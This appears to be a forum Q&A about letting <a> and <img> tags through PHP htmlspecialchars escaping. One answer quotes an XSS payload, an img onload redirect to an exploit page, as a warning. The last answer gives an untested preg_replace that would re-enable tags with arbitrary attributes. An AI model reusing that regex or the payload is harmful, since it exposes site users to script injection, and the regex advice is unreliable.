htmlentities允许<a>链接 - 如何?

In order to make my inputs safe, I'm using htmlentities in php:

$input = $_POST['field'];
$result = htmlspecialchars($input);

This works, but then I realized that in some inputs, I need to allow some basic markup like <b> and <i>, copyright logos and basic stuff for the user. So I started doing this:

$result = $_POST['ftext'];
$presanitize = htmlspecialchars($result);
$newftext = str_replace(array("&lt;i&gt;", "&lt;b&gt;", "&lt;/i&gt;", "&lt;/b&gt;", "&copy;", "&quot;", "&lt;a&gt;", "&lt;&#47;a&gt;"), 
array("<i>", "<b>", "</i>", "</b>", "©", '"', "<a>", "</a>"), $presanitize); 

Now we come to my main problem: how to allow things like <a> and <img> where we don't have only a tag and don't know what comes inside of it?

I can replace , because it's always only , but if I replace , it wont work as I'll have lots of stuff (<a href="http://link.com">Text</a>) inside of it. What should I do? Thanks in advance.

The simple answer is: You don't. That's part of the reason why many popular forum systems use some kind of markup that's not just plain HTML. Otherwise people can and will do nasty stuff some way or another.

<img src="http://example.com/random-pic.jpg" onload="location.href='http://some.nasty.page/exploit';"/>

But you can remove event tags? Of course, but will you keep up to date with everything browsers support and their quirks? Can you really outsmart everyone?

If you still want to do it, look for a well documented, tested, and used library or script that provides this functionality. PHP essentially has this built in, but it's really barebone. Some keywords to look for would be "php html sanitizer" or similar.

Personally I'd recommend you just support Markdown or BBCode like syntax (again: there are many ready to use snippets and libraries available). Don't reinvent the wheel unless you really have to.

Use preg_replace() for <a> and <img> tags:

$new = preg_replace('/&lt;(img|a)(.*?)&gt;/i', '<$1$2>', $input);

Note that this completely untested but should give you a hint on how to solve your issue.